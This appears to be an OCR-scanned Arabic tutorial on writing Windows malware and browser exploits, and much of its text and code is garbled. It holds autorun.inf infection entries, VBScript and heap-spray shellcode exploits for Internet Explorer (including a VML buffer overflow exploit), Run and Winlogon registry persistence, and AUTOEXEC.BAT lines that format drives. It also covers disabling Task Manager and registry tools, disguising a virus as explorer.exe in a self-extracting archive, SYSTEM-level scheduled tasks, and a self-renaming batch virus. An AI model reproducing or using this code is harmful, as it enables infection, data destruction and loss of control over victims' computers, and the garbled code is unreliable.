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[AUTORUN] e
AUTORUN Lo
OPEN=x.exe OPEN=x.exe
shelllopenicommand=x.exe
She“\Open\Command:X_exe shell\explore\command=x.exe|
shell\explore\command=x.exe

: S8 Autorun ) cala ags
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[autorun] [autorun]
— shellexecute=x.exe
shellexecute=x.exe opencx exe
— shellopen\Command=x.exe
Open= X.exe shell\open\Default=1
shell\open\Command= x.exe

shell\open\Default=1
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shell\explore\command =x.exe
shell\open\Command= x.exe
shell\autoplay\Command= x.exe

shell\open=0Open
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s 43 g mall il g pdl) (andt dald 3) ¢8| ?S:\-“J
ks (conficker) JSligs (upd s
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[autorun]
open=RESTORE\c-1-3-64-8794238531-8742492-9897532\DriveFix.exe
icon=%SystemRoot%)\system32\SHEL L 32.dll,4
action=0Open folder to view files
shell\open=0Open
shell\open\command=RESTORE\c-1-3-64-8794238531-8742492-
9897532\DriveFix.exe
shell\open\default=1
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. Attacker (33l
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Internet Explorer <) 25

s A9 o adl)
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g8y G At AU oY)
HTML. . 292 gl Jdidl) a8
<script language=vbscript>
on error resume next
dim sys
Set df = document.createElement(*'object"")
df.setAttribute "'classid", ""clsid:BD96C556-65A3-11D0-983A-
00C04FC29E36 "
set fso = df.createobject(*'Scripting.FileSystemObject",""")
set s=df.CreateObject(*'Shell.Application.1",""")
set re=df.createobject(*'wscript.shell™,""*")
sys=fso.GetSpecialFolder(1)
s.0Open ("'C:\ VIRUS.exe")
</script>
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< l—

securitylasb.ir

Fimréin st (at) yshoo (dot) com [email concealed]
-—

<IDOCTYPE HTML PUBLIC "-//W3C//DID XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtn
+<HTML xmlns="http://www.w3_ 0rg/ 1399/ zshtml">
<HEAD>

<acEipt>

function load(){

Var e;

e=document . getElement aByTaglame ("STYLE™) [O0];
e_outerHTMI="1";

}

</acriptr

«5TYLE type="text/c33"¥

body{ overflow: scroll; margin: 0; }

<fatyle>r

<gcript language="Javescript"

var shellecode = unescape ("YuEBFC*u0044%u0000%u458B%uBB3Cul5T7C%u0178%uBBEF*ul84F%usFEE%u
0120%u43EB%u348B%ull BB u31EESu3C0%ul4AC%u74C0%uC1 07 %ulDCAYuCZ 01 %uF4ERBS
543B%u0424%uEST75%u5FEEYu01Z24%uecEB*ulCEBYuBEB4B%ulCoFRuEB0]1 5ul CEBSu018B%u
B5EEB%uZ45C%uC304%uli3]1%ulBedsu3040%uliB5%ulC78%u408B%ulBOCulC70%uBBADS L
08e8%ul3EB%uB08B%ul0B0%u0000%ueB8 BB uSFACuFe31%ubec0%uFaE9%uliB3%ub07B%u
TEeE%uEZDB%ucB73%uFESEsulERASuFFL T Rus3ET3ueCel%ule3") ;

var bigblock = uneacape ("$u3050%u3090") ;

var headersize = 20;

war slackspace = headersizet+shelleode.length;

while (bigblock.length<slackspace) bigblock+=bighklock;

fillklock = bigblock.subatring(0, slackapace);

block = bigblock.subatring(0, bigblock.length-slackaspace);

while (block.lengthtslackapace<0x40000) block = blocktblockt+t£illblock;
memory = new Arrayi();

for (x=0; x<4000; x++) memory[x] = block + shellcode;

<facript>

< /HEADY
<BODY onloed="load()"*
< /BODY >
< /HTML>
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1 <XML ID=1>

z <>
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10 = ST

11 & < E

1z - =/ HML>

13

14 <SPAN DATASRC=#I DATAFLD=C DATAFORMATALS= =

15 <¥ML ID=TI> 2
16 </ EML>

17 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS= =
15 </ SP AN

19 =/ AP AN
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<request>
<book>hacking</book>
<price>15000%</price>
<request>
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[CDATA.....image link here....]]
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<test>im text</test>

A3 da g1 0985 Cal) Glany A A 913 (5 50 im text Aallaa asiParser i Ua
<test><test2>im text</test2><test>
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7TEA81DDC MOV ECX,DWORD PTR DS:[EAX]
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7EA8IDDC MOV ECX,DWORD PTR DS:[EAX]
7EA8IDDE  PUSH EDI
7EA81DDF  PUSH EAX
7EA8IDE0  CALL DWORD PTR DS:[ECX+84]
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CALL DWORD PTR DS:[ECX+84]
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var spray = unescape(''%u0ala%ulala');
do {

spray += spray;

} while(spray.length < 0xd0000);

memory = new Array();

for(i =0; 1<100; i++)

memory[i] = spray + shellcode;
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memory = new Array();
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memory[i] = spray + shellcode;
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O (Saall (rag AT diua g @ilillg cpaddl Ao XSLT 368 9 XML Liteca Uis 3LES Lash
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xmlcrash.xml «ila a8
<?xml version=""1.0"" encoding=""UTF-8"?>
<?xml-stylesheet type=""text/xsl"* href=""xslt.xs|"*?>
<root xmlns:xsi=""http://www.w3.0rg/2001/XMLSchema-instance">
<iteml id=""AAAAAAA" />
<item2 id=""AAAAAAAAA" label="AAAAAAAAAAAA"[>
</root>

XSLile 268
xslt.xsl
<?xml version=""1.0"" encoding=""UTF-8"?>
<xsl:stylesheet version=""2.0"
xmlins:xsl=""http://www.w3.0rg/1999/XSL/Transform">
<xsl:key name=""label'" match=""item2" use=""w00t()"'/>
<xsl:template match=""root"">
<xsl:for-each select=""//item1'>
<xsl:call-template name=""item1" />
</xsl.for-each>
</xsl:template>
<xsl:template name=""item1"">
<xsl:for-each select=""key('label,
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY) >
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

Uadl) Giaay 3 ga ALY 3 6Sl) Lada
BN Jas g o Sulaalll sy =yl (Y (3 s
AN g3l gisa (e Jal e XSL cilile Jartied ¢ff Say XML e ¢ Wl UIE LaS g
XML A4 gelldl Style Sheet & XSL 4alé
"L xslt.xs| cile gl din a o) Jo¥) A gSh A 08 Las
<?xml-stylesheet type=""text/xsl"" href=""xslt.xsl|"'?>

(1 Gl Gl oy (S
<iteml id="AAAAAAA" />



<item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"[>
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<xsl:for-each

= il A g
</xsl:for-each>
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<xsl:call-template name=""item1" />

AN template (&S )
<xsl:template name=""item1"'>
<xsl:for-each select=""key('label’,
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT) >
</xsl.for-each>
</xsl:template>
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<xsl:key name=""label'" match=""item2" use=""w00t()"'/>
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xmlcrash.xml.

<?xml version=""1.0"" encoding=""UTF-8"7?>

<?xml-stylesheet type=""text/xsl"* href=""xslt.xs|"'?>

<root xmlns:xsi=""http://www.w3.0rg/2001/XMLSchema-instance"'>
<iteml id=""datasniper"" />

</root>

xslt.xsl
<?xml version=""1.0" encoding=""UTF-8""?>
<xsl:stylesheet version=""2.0"
xmlins:xsl=""http://www.w3.0rg/1999/XSL/Transform">
<xsl:key name=""label" match=""item1" use="""/>
<xsl:template match=""root"">
<xsl:for-each select=""key('label', @item1)"">
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
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:daadl) 13¢2 00000031 (1100000000
<?xml version=""1.0"" encoding=""UTF-8"?>

<xsl:stylesheet version="2.0"
xmlns:xsl=""http://www.w3.0rg/1999/XSL/Transform">

<xsl:key name=""label'* match=""item1" use="""/>

<xsl:template match=""root"">
<xsl:for-each select=""key(‘label', @item1)"">
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
ED9A0017 Olsiad) ) 43
XSL sedle b 2l 1igy
<?xml version=""1.0" encoding=""UTF-8""?>

<xsl:stylesheet version=""2.0"
xmlins:xsl=""http://www.w3.0rg/1999/XSL/Transform" >

<xsl:key name=""label'* match=""item1" use=""""/>
<xsl:template match=""root"">
<xsl:value-of select=""key('label’, @item1)">
</xsl:value-of>
</xsl:template>
</xsl:stylesheet>
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# MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP

SP2)
<lI--

...:[ Jamikazu presents ]::..
Microsoft Internet Explorer VML Remote Buffer Overflow Exploit
(Oday)

Works on all Windows XP versions including SP2

Author: jamikazu
Mail: jamikazu@*****.com

Credit: metasploit, SkyLined



invokes calc.exe if successful

>
<html xmlIns:v=""urn:schemas-microsoft-com:vml*''>

<head>
<object id=""VMLRender" classid=""CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"">

</object>

<style>

v\:* { behavior: url(#VMLRender); }
</style>

</head>

<body>

<script language=""javascript'>
var heapSprayToAddress = 0x05050505;
var payLoadCode =

unescape(*' %uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178
%U8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%
u99C0%u84AC%u74C0%uC107%u0DCA%UC201%uF4EB%uU543B%
u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%ulC5F%u
EB01%ulC8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3
040%uC085%u0C78%u408B%u8B0C%ulC70%u8BAD%u0868%u09E
B%u808B%u00B0%u0000%u688B%usF3C%uF631%u5660%uF889%0
uC083%u507B%u7E68%UE2D8%u6873%uFE98%U0E8A%UFF57%ub
3E7%u6C61%u0063");

var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);



var spraySlide = unescape(*'%u9090%u9090"");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)

{
}

memory/[i] = spraySlide + payLoadCode;

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)

{

}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;

spraySlide += spraySlide;

}

</script>

<v:rect style="width:120pt;height:80pt'
fillcolor=""red"">
<v:fill method = ""=ns" ></v:rect></v:fill>

</body>
</html>

FALES oy o calall ) AU ased) dBLaly g
MZ....cooveviiee, @i I..L.!This program
cannot be run in DOS mode....$

Aag B g jlaual S g L e ANtiVirus gl g 8 A8l CdiSa 83 adl g
-5 _adl) T bl KT
http://www.securityelf.org/magicbyte.html
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Do gl 8w yidll Jac 4l (3,4

start up <l g 58 o olusl*

start up Las-1
(XP) Ssall 128 3 352 50 sl a3

C:\Documents and Settings\ asdiwall am) \Start Menu\Programs\Startup

@ Internek |:| wrindowes Media Play
WinRLAaR

5 E-mail gl adobe Reader 7.0

awask! Inkernsekt S=ec

e IR TSR ks
— Moktepad Skartup
)

— . ! .
?ﬁ Microsofk YWisual Basic Liniversal Exkractar

Ocouskica Mixcraft
30D wWorld Aklas
Uleralso

Az i Sek wideo mode bo O

]
@ Run Scripk e

L0 RealPlaver
ﬂ adobs Reader 7.0 =

K-Lite Codec Pack
- WideolL ar
@ Ficrosofk S FFice Word E Conmechix Wirktual Po
MicroBesk “racklock
RESOLURCE HAaCZEKEER

Aall Progranns | 3

batch (.bat) (ASldl asly il g il dualdl) 3) gSY) a4l g
COPY batchfilename.bat %USERPROFILE% \Start~1\Programs\Startup\

startup susd M (L Cila fouds a 58y oA g

§ A ) aladicd -2
Jand) GA\JJJ-\MHJUMM‘HUUAJ(_\&}-\S‘J-\A?L@-AOJHeJL\eM‘éAGAMGALiJ.\JAJ
LI JJ‘-“J'“&)M&‘

Type the name of a program, folder, document, or A
Inkernet resource, and Windows will apen it Far yau, L '

H Cancel H Browse, .,

i) JASY) gy ol) Aglay aca Jand ) geal sl jlesa aSAli g



[HKEY MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

e g JB1 5 A daild p3a
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce

HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServices

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServicesOnce
Sheaal) 138 9 (updl) Jlesal) Lgs dasd g pudan g run amaly (Tl ) sl g8 Jarg 2 By V) Jluallg
Joxbsll startup RueaN
HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\policies\Explorer\run

R PHARPERp

Reg add hkcu\software\microsoft\windows\currentversion
\run /v M /t reg_sz /d "'c:\xx.bat"

Reg add hkLM\software\microsoft\windows\currentversion
\run /v M /t reg_sz /d ""c:\xx.bat"*
Aall) J)aa /d g (g s ) (A Aaill) £ 55/t 3 gualal) Aiadla
Gelauss ) sl 4ily 368 a4 g
Dim R As Object
Set R = CreateObject(*"WScript.Shell™)
Const Key = "HKLM\Software\Microsoft\Windows\CurrentVersion\run™
R.RegWrite Key, 1, "REG_SZ"
R.RegWrite Key + "\sameh™, "'c:\virus.exe"
Set R = Nothing

) sk e explorer.exe “ila ga Jaad) 98 9 (udll (6 i 1) aladiul 48y k(5 g8 aSll
Lag (explorer.exe) «ilall \aa Jadl (& Jlgmna 5 i ) 2 352 94 ZURs 58 g (shell) S
g g Ad b b (RS al g vy pe el Cila g explorer wila Jrag ddary 2 645 G g

glidal) 138 Jlua aSill g 59absll startup (o2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\



Wiad o) aaiu Shell zldal) e duay) 3aae Lagd 3ok G g Balaad) Jlusall 1) A 6 Ladic
o) Al oda Joa of Jaadal) allai cilile aal (e g8 aodallg Explorer.exe ¢sSie ddl yi8Y)
Explorer.exe c:\virus.exe

L) 4Ry 368 a4 g
Reg add ""hkLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Winlogon" /v SHELL /t reg_sz /d ""Explorer.exe c:\VIRUS.EXE"

i) 98 9 Gelua J) sl dily 35S A%l g
Set WSH = CreateObject(**"Wscript.Shell'")

WSH.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell", ""Explorer.exe C:\VIRUS.exe", "REG_SZ"

K]
Dim R As Object
Set R = CreateObject(*"WScript.Shell™)
Const Key = "HKLM\Software\Microsoft' _
+ "\Windows NT\CurrentVersion\Winlogon"*
R.RegWrite Key, 1, "REG_SZ"
R.RegWrite Key + "\Shell'*, "Explorer.exe " & "C:\VIRUS.exe""

Set R = Nothing
C OlSal (el Zoadd 3 6<1) 128 g
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\VIRUS.exe"

safe mode Jgabisll Gla¥) allas & Jany g (a5 9k o) £ 38N aa (pu pall) Jary L g
AUTOEXEC.BAT ik -3

SR 9 Heaii el &ﬁ\@dﬁﬂﬂi\#b\)@\g@ﬁ)ﬁ‘ W‘M&\J%\g‘;\’&a‘aw&ﬁ\g
¢\ AUTOEXEC.BAT bwsall 132 & 39 54

AUTOEREC.BAT

0 | M5-DOS Batch File
2 oke

SR 4RLy 31 6S) Al
call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat

i gau g 413133 31 6SY) 038 il gy AUTOEXEC.BAT wiilaly Juai¥) sp 258 138 dia
Jaioll £ 380 J g day ) 68V 02a Jans

Zal) il g d -4

B (5 Jsiuall Cila 8 5 C:\WINDOWS oty explorer.exe alaill cila aa ganl -
explorer.exe ilal) ga (o yll zras 488 aSul) g il giY) 9 Cladaall

gl ) ) geal) ol g WINRAR gl g pddiid i g



YIRUS EXE
Win32 Cabinet Self-Extractor
i t Corporation

i explorer, exe
Windows Explorer

General | Advanced | Files | Backup | Time | Comment Open

Run as...
\f\“. Mul .'L}.ﬂj L4 L] E-T N ] ] 2T

explorer. exd E - | L &y

w8 alen ol gyl
- . () Scan selected items For viruses
| Frofiles... | [ Add and replace files - BAdd to archive...

B Add to "New Folder (2).rar"

Archive name

pdate mode

Archive format Archiving options R Compress and email
@ RaR Delete files after archiving B Compress ta "New Folder (2).rar" and email
@) Create SFx archive
OZrF rl - ) ‘-_ Send Tn }
Create zolid archive %
Compression methad Put authenticity verification e-‘
| Marmal h Put recovern record

Split to volumes, bytes Test archived files

| - Lock archive

0k H Cancel || Help |

a3 SFX OPTIONS UL i Advanced JUad ad

General | Advanced | Modes | Test and icon | Licerse | Module General | &dvanced | Modes | Tewt andicon | License | Module

Path to extract Temporary mode

| Unpack. to temporary folder

. . Optional guestion
(7) Create in "Program Files" | |

(@ Create in the current folder t—

P Cluestion tite

R | |
Silent mode

Setup program (7 Digplay all

() Hide gtart dialog
-

Run after extraction [§
|e:4|:-lorer.e:<e | @ Hide 4l

Run before extraction
|\-"IHUS.E><E | Owenurite mods
() Azk before ovenarite

@ :
@ E

I Save cument settings as default ‘ () Skip existing files

DK l [ Cancel I [ Help [ ok ] | Cancel | | Help |
JSAl 13ga (15809 s pa (pilal) ey G g
explarer.exe

Windows Explarer
Microsoft Corporation

RESHACKER gt p (b o ) Adgi) JS& ) 45 g8Y) JS& i A

ResHacker.exe
Shortcuk
2 2 KB




EX Resource Hacker - )

ocuments and Setting

FH Pepace icon i - i

File Edit ‘iew Action Help
e |;'""':jaaa'ﬁii};cﬁi'h'eﬂaﬁ:'.“"1+ R @
a3 Icon 32 x 32 (16 colors) i | - _
@23 Dialog 16 % 16 [16 colors) @ oy i
[:| String Table o Lockia | [ YemFunm I2] - A 1=y
-3 RCData
E a lcan Group ‘—-'
a BDDD [{IETEN
s ﬂ Sloaslll slinl af
. [:l warg|  ave all resources..
Save [ Icon Group ] resources ...
Save [Icon Group : 3000 @ 1033] ...
Fl= e | Caa
Line: 1 Replace Resource. . h _ fiw =
e =l ey e, ERREY ol
= | FRenameResource [Icc-n Group : 3000 1033] e fii il

¥ alal) (pa Yy ratal) calal) d.m.uu 4.@."3‘\ dSAAJ.\.\i:\S\ day ol
b sl aa (udll Jary S (c:\windows\explorer.exe)
E-BatchMaker geali_» adddied cd g LiSiila 681 Jau gradal) calal) Jaad Sl

b  F-CatchMaker.exe

(29l E[=asv]-Batch Maker
By mustyc Hackgdcent

43&)&.“eS:m\gaA:US‘SM\QM\L’J\LQJMJ&JQM\@A.A,}@AUJ,UAJ

File Edit Tools Project Commands

™

Options

Help

uilding the batch File ;

WARNING :

Attention :

Include

| Extract ko + | Save ko

X peete @ add




Include Files !
Your File

CiDocuments and SektingstXPPRESPZDeskiopiMew Folder (2explorer, exe

=alall 3l

NN =cplorer, exe

a. oK X Close

zeadall cilaly La¥) cile Jiy G g Agle Luial) die cile U geiy Janl) Liadt) La 2y

C:\WINDOWS\SYSTEM\ winlogon.exe 343 Jsxsll @ aga cila Ly &l

Soabsl) JAIa 2 5y A el cudiall J gl gl (S I3 Jand o) A%y phall 038 Alh gala

) Jad (e 4d Ggadall o) gal s Al Ciliaall <l jgatigll A 8gia & 1da g 3 el8y

A yosy 321 51) s e S

aéiluu' A g winamp Jia danlial) @A\),\S‘ <alala & @Aﬁ\ RS Agilil) Ady yhal) -
dpalal) 4dy plal) (el

o A i g E-BatchMaker gl (b 4aiai ol G pdl) aa el ) Cila ey o g

C:\Program Files\Winamp e gl sl jlewa

Y e Jand) o shasl -5
U (e Y4 (Mp3) i) Jas st Sia G pll) Cila o frma dX5a) Jee il
oasdll la A winamp



s a5 ) 6
2 A9 4y k)

550 31 551 LA L il LA (Jann 8 ol + ISl pedaas la do atint Ay
B pila 1y

S i Ala o ) g (ol da el g 5 puall 03a L

“E Spy Window

B oo @ I %7 G & .
Maln ____________ l General ] Styles ] Class ] Process ] Misc ]

Handle: 00010000 —

Capkior: | @

Class: I|InI:er|'uE:I: Explorer_Server

Parent wWindow: [O001009C L

First Child: 00010002 [

Mexk Window: ||:I'-.I-:-ne]l

Previgus Window: |0001009E -

Cwner Window:  |{Mone)

Exit
Quick Options
v Auko Hide Spy Window Eocus Using:
| Aukto Capture Window
= F Rect I

[ Lock Screen Update | nEks Rectandls ﬂ

Internet Explorer_Server...s 5 8 bal) 43 & e Ja $9815a30 )3l
e g ey (adi agd al el g o glul) (pa B ila B inia g ) o) St 13l
o 1S o) g cMlal) (e S b Jaaiey Class saInternet Explorer_Server
A ciladia s a gy 3 g 4N & laaY) auea Internet Explorer

34 A HTML ik 0o 8l iSall el 441 Jaad () platioad elif Say 138
AlCal) Uia g ¢S5V 3 guall daia g La 138 g) AIA) A ) guall i o (A Jarisall
RS O g g bl

i Ay ¥ A1 System Files Directory s (e Ol8a A Virus.exe g -1
(5an 2009 sailsl) s 451 iaf cile) ja) o3 loda behavior Study 4.l W
2Bl gal o (a0 AASH (2 2T pao g AU sl ) (g o) sl Jgaad) 0 G 9S00
s AY

Virus.exe Jiudds aghy 39S Ly HTML dada sldi -2

Weldd) ai A HTML J) dadia ) LAY 53

Registry. A glda) o Jiail) 3 b e Al

HKEY_ CURRENT_USER\Control Panel\Desktop

HTML .cile jlwa ) 52l Welea s Wallpaper 4ail 2

S Joandll M)

HKEY_ CURRENT_USER\Control Panel\Desktop\WallpaperStyle



1 =2 s Wallpaper 4adll o
m&&ﬁ&w\y\ﬁﬂaﬁuy#d&&gy&a@\&:u&d:ma:d\h.,\h
Mg O LgAST Y Jalail) gral s aad o) oY) ABLGYY
Autorun.y a-squared HijackFree sHijackTis
Explorer.exe @& g gl alall) Julli sule ) aay prlial) dli o Juaadl) day agall
89 Lgda (i Aldasuy A LA 5 Vjrus.exe Jeudd (Sl g cilalasy) Sl ala
Al A Ada A g (pe Gla g Al Sl Bale) alaw F5 g) Refresh Jeas LalS oli)
3§ CreateMitux csb o8 Wi ah Wiy Virus.exe ¢m S fewd Jadd
Sl qala (s 13 B & s Al 4 ey FindWindow s'CreateEvent
) gSY) (lany At AU ) Virus.exe .Gl
HTML. s 292 gl il a8
<script language=vbscript>
on error resume next
dim sys
Set df = document.createElement(*'object"")
df.setAttribute "'classid™, "'clsid:BD96C556-65A3-11D0-983A-
00C04FC29E36 ™
set fso = df.createobject(*'Scripting.FileSystemObject*,""")
set s=df.CreateObject(*'Shell. Application.1',"""")
set re=df.createobject(*'wscript.shell™,""*")
sys=fso.GetSpecialFolder(1)
s.0Open ("'C:\ VIRUS.exe")
</script>
Gk (8 s ga piag diSayg (html) L) A8y i &3 i cila B a8l pa
sosall pa o edit Jlidl g Cilal) Ao (uglall Gal 5 Qs
a 58 o)l dadual) (8 Al &3 1) Ly ((Internet Explorer8 ) ge Jars ¥ 13a a8l
Sahoiill 43yl i Cual) plic el o j3) GIA mall ) iy
Sl calia ddiuw g ¥ CidiSuw LA 585 8 A Jiludy ¢ (Saall (e 4lgdl) A
Gl b Alad) BRI B ) gaa 48U 5 daieal) o Jpaaily p 685 o)) &l Sy )
Jeddl) 2 SHTML +
ladiy LeASISH () (S (AL Jadill agae (4 b LA Lk g 7 538 £14Y) Gy L
&g p 98 () OSas EXplorer.exe (s Jaidd gl Lay ikl 038 o) g8 ) ddudl Lag
T 38 33 5h e 9 Explorer.exe JY4 (s Exploit Ll aiy s LdlisExploit
Aadlgall e (e S



: All) 4l phal)

Win32 A (whadtall hid) o 43

s dadiall

¢ Lgles Lag il 281 oda 3 ghad La agdi o)) A lagh dglad) B

oAl cladla adddiey Gl (3 yidal) Sl dua b ) gladd) ddlad) <l ail) (e 3 R0 o34

Aol JA13 Cud gl () it

e § AN ol CILESS) (3 sk (ha Al pha 7 il g £ g gall 0 S

s Leladad oy i

OS5 &) o) Al aUREY (BB a5 LA (0 ) La) il 3 (e £ 5300 108 JDlad Ay

Sl g Sl Llay ie Jaad (serVice ) AesiS Jary lias el  dilia

s & gy

procexp gl *

: Glaa gl Ao 7 )

Telin iy 2 gl g Wy aldd) jlgad) o luaal) el julf iy o 811 Ua

AUl ) ciladdd) 8 malipull Janmy (o) Cilall ) BISE oY) Uia procexp
EPSON_EB_RPCV4_01 4adid) aul 1553 Mia

s Y Ay A sh 8 g Ll

[sc gc [service name

Ul 0 9S AURI Apcalisd AaddS Jary o 1) Cilal) Jlsa (8 SN 2 g8y aY) 138

asa Algl)

sc gc EPSON_EB RPCV4 01

R E VST

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EPSON_EB RPCV4 01

TYPE : 10 WIN32_OWN_PROCESS
START_TYPE :2 AUTO _START
ERROR_CONTROL :1 NORMAL
BINARY_PATH_NAME : C:\Documents and Settings\All

Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE

LOAD ORDER_GROUP :

TAG 0

DISPLAY NAME : EPSON V5 Service4(01)
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem

:JAQL&M@M\M‘JMUM

C:\Documents and Settings\All Users\Application
Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE

Y Gah oo cilall 1 ciladla (e Cidsly a 683 oY)



""cacls "'file path
RYY A Y O s
cacls ""C:\Documents and Settings\All Users\Application
Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE"
cilall cliadta ) i) zaldl) add) ) o) ki)
C:\Documents and Settings\All Users\Application
Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE
Everyone:F
ddladla o) caald L
Everyone:F
8_adll g #aal) Uadl) U ¢ Full Control 225 F & &us
1 calal) Joasiy Liad gl 1l oY) Baa
C:\Documents and Settings\All Users\Application

Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE
(lask o) (il ) 99 Gl Cilay

Eset Smart Security st clas p& galial Jha 14
ekrn.exe : alaill A Aadds Jary oA gali ) cila g i

Adlbada (e sl
cacls "C:\Program Files\ESET\ESET Smart Security\ekrn.exe "
C:\Program Files\ESET\ESET Smart Security\ekrn.exe
BUILTIN\Users:R

BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F

J cladla o) Uaa g clas pall eset galise 10 (A () 5 S8l (Y) Cuagh A
Administrator :F Jad) sa (g 431 a1 Jadd galadl yser
T b il g 6S) A el )



s Jlae¥) Jglaa g Jgab sl cladla aladiul -7

: pgte S 088 Al g Jlas W) Jghang Soabisl A cliadall Jaa e g Akl 28

o) A 5 ga gl b cladlall ) g s Addal o alad LIS s ciladlall Yl

(4adka J&Y)) aadicall 2y USER

< iaal) aadtiwall 94 9 administrator

agddall (5 st )l glia JS A (full control ) Jsaail) L 48a¥) 4 a9 SYSTEM

(A ICMD (& ¥ Gash (6 (A5 SYSTEM gy b dlaladind xie Yi jelaiy
At 10:00pm /interactive REGEDIT.exe

padaa 18 ga & gal ) pary Sy addiecall o 9By g2 g : Jles¥) Jglaa LG o

O Qs aliila (<o g

B Jandy a gl Jan jubad (b U iy il gl (8 Gl ) (il Uinan) ol B

system 4gadba 4xilsa) pa GRS (S5 O3 (g 0330 1) 5a

J3na sl Aiaf Al g plosa o yilad) AsLud) B Gl bty a sk IS0 3 6S0) Sl g

BAT (i) addy Al 258l g sl Lag Jpanill 2 gal) 4 MLy g system

At 10:00pm finteractive C:\WIRUS.EXF

fr el e

5 sl sleo Ay i |
S Jgogll
SYSTEM

adaal) daal) A £ ga) Al B Gl SRy o g8y NN 3 gS g

AT 10:00pm /interactive /EVERY :m.t.w.th.f.s.su c:'\wirus.exe

Eﬁ_l}.._.u.fﬂ' pLg'

chla Jary a9y ddili IS5 58 9 Jlas V) Jgan Jany 5 9abi sl o g8y S Jludh U guu
il cilall JAN 585 C:\WINDOWS\Tasks Jbwall 138 4 job alaiely
Adlaudl dae g alall Jleag



Lemudi) dlas 8 Gl gyl (3 4l
:task manger skl o bl
Al g JS3 CRESTY 810 SIAN o Jan Al gral ) CRES adad opl8AL 68y 98 g

Restore the Language bar

Toolbars r

Cascade Windows
Tile Windows Horizontally
ki Tile Windaws Vertically

_\* Show the Deskiop

v Lock the Taskbar
Properties

I Folder (2] [ ) - | B 6 S

task manger sWaY s e i lalae) Al 28l aSil)

HKEY_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies
\system\DisableTaskMgr /t REG_DWORD /d1

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion\Policies
\system\DisableTaskMgr /t REG_DWORD /d 1

task manger Jalasd! (AL dady ) gS) A<l g
reg add hkcu\Software\Microsoft\Windows\CurrentVersion

\policies\system\ /v DisableTaskMgr /t reg_dword /d 1
s i )l Jidaatt G gll*

Ay &l jbaa o Jgdall aset Uad dllay dany (run) sk o8 s iwa i dlgda ie
sduild La z3lal g gl sl £ IS aa Jardl (o ) il alian AL g 5 gaby o) & Sl
)

e Registry editing has been disabled by your administrakar,

O

dllanyl 5 e M aUae | A1) addl) a4l g

HKEY_ USER\Software\Microsoft\Windows\Curre ntVersion
\Policies\System\DisableRegistryTools /t REG_DWORD /d 1

1 0aial) A8l all) el aran Jua 4] ¢ slaad
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@echo off (VIRUS A)
echo shutdown -r -t 60>c:\A.bat
echo ren BB.bat B.bat>nul >>c:\A.bat
echo ren A.bat AA.bat>nul >>c:\A.bat

(VIRUS BB)
echo start=C:\WINDOWS\winnt256.bmp>c:\BB.bat

echo ren CC.bat C.bat>nul >>c:\BB.bat
echo ren B.bat BB.bat>nul >>c:\BB.bat
(VIRUS CC)
echo start=C:\WINDOWS\clock.avi>c:\CC.bat
echo ren AA.bat A.bat>nul >>c:\CC.bat
echo ren C.bat CC.bat>nul >>c:\CC.bat
(ADD REG VIRUS A)
Reg add hkcu\software\microsoft\windows\currentversion\run /v 3 /t
reg_sz/d "'c:\C.bat"

(ADD REG VIRUS B)
Reg add hkcu\software\microsoft\windows\currentversion\run /v 2 /t
reg_sz/d "'c:\B.bat"

(ADD REG VIRUS C)
Reg add hkcu\software\microsoft\windows\currentversion\run /v 1 /t
reg_sz/d "'c:\A.bat"

del autorun.inf (DELET VIRUS MASER AND AUTORUN FILE)
del super SG.bat

bat el cila 8 3 gSY) o2a JS auaayg
